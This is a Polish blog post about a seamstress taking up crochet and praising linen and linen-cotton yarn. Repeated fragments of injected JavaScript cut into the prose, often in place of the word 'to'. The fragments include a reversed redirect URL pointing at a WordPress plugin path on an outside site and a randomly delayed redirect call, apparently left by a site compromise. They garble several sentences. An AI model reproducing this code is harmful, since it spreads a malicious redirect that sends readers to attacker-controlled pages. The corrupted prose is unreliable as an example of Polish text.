Nietypowa włóczka z lnu

Bardzo lubiłam od zawsze szyć. W domu była maszyna, którą babcia podarowała mamie, a ta mnie. Od małego lubiłam wymyślać ubranka dla lalek, później szyłam własne ubrania, a także dla rodziny i znajomych. Po dziesięciu latach szycia trochę mi toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to zbrzydło i chciałam czegoś nowego. Postanowiłam, że nauczę się robić na szydełku.

Mocna i ładna włóczka

len - włóczkaMogłabym robić serwetki, jakieś obrusy, czy dekoracje na szydełku. Miałam jednak problem z wyborem materiału. Nie lubiłam wełnianych rzeczy, a bawełny też miałam dosyć. Nie przepadałam za tkaninami syntetycznymi, wolałam te naturalne. Szczególnie z lnu dobrze mi się szyło. Miałam lniane letnie sukienki, spódnice, a także toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torby na zakupy. Okazało się, że dostępny jest też len – włóczka. Sądziłam, że skoro toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to włókno pozyskiwane z rośliny toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nie robi się z niego kordonków jak z wełny. A jednak trafiłam nie tylko na lniane włóczki czyste, ale także te z domieszką bawełny. Miały takie same naturalne kolory jak len, były cienkie, ale mocne. Od razu je kupiłam. Wybrałam włóczki w naturalnym, brązowym odcieniu, jak również jedną włóczkę białą. Zabrałam się za testoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towanie włóczki na szydełku. Zdecydowanie łatwiej mi się na niej pracowało niż na włóczkach akrylowych czy bawełnianych. Len był mocniejszy, nie mechacił się i nie był puszysty. Do swetrów pewnie bym chciała mieć włóczkę grubą i puchatą, ale do serwetek wole coś co nie kłaczy się. Len miał też tą zaletę, że po praniu w pralce nie zmienia swojej struktury, można go prasować. Poza tym jest mniej delikatny niż inne materiały.

Trwała włóczka lniana toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mój ulubiony typ włóczek. Len jest przyjemny w dotyku, a robienie na szydełku z odpowiednią włóczką toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to czysta przyjemność. Teraz mniej szyję, choć nadal nie zamierzam tego porzucać. Na razie robię sobie przerwę na szydełkowanie, by spróbować czegoś nowego.